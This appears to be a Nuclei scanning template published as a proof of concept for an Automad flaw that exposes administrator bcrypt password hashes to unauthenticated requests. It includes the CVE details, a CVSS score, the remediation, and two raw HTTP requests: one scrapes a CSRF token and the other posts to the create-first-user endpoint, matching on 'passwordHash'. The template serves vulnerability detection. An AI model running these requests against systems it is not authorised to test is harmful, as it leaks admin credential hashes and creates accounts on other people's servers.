Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.
PoC
id: CVE-2026-45332
info:
name: Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
author: str4k3r
severity: high
description: |
Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.
impact: |
Unauthenticated attackers can retrieve bcrypt password hashes of all administrator accounts, risking credential compromise and full system takeover.
remediation: |
Upgrade to version 2.0.0-beta.28 or later.
reference:
- https://github.com/marcantondahmen/automad/security/advisories/GHSA-xm76-r88j-vm3g
- https://nvd.nist.gov/vuln/detail/CVE-2026-45332
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-45332
epss-score: 0.0134
epss-percentile: 0.69876
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
product: automad
vendor: marcantondahmen
tags: cve,cve2026,automad,exposure,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /dashboard/login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf_token
part: body
group: 1
internal: true
regex:
- 'name="csrf" content="([a-f0-9]+)"'
- raw:
- |
POST /_api/user-collection/create-first-user HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__csrf__={{csrf_token}}&username=nuclei_check&password1=Nuclei-Check-Pw1!&password2=Nuclei-Check-Pw1!&email=nuclei-check%40example.local
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'passwordHash'
- 'accounts.php'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100d2b493b1ff05c93673d4fd47be8ee6ce9ffd47050afad33b30a846647d6780bf022009adf92f999bc425242c3ad1328b6d05d4391d79bb2b686f319cd454da309afe:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.